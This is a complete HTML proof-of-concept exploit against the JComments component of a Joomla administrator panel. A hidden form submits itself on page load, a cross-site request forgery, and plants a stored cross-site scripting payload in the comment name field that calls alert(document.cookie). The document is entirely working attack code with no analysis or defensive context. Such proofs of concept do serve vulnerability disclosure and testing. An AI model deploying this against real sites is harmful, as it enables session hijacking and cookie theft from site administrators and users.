<form method="POST" action="http://joomla/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="example@example.com">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>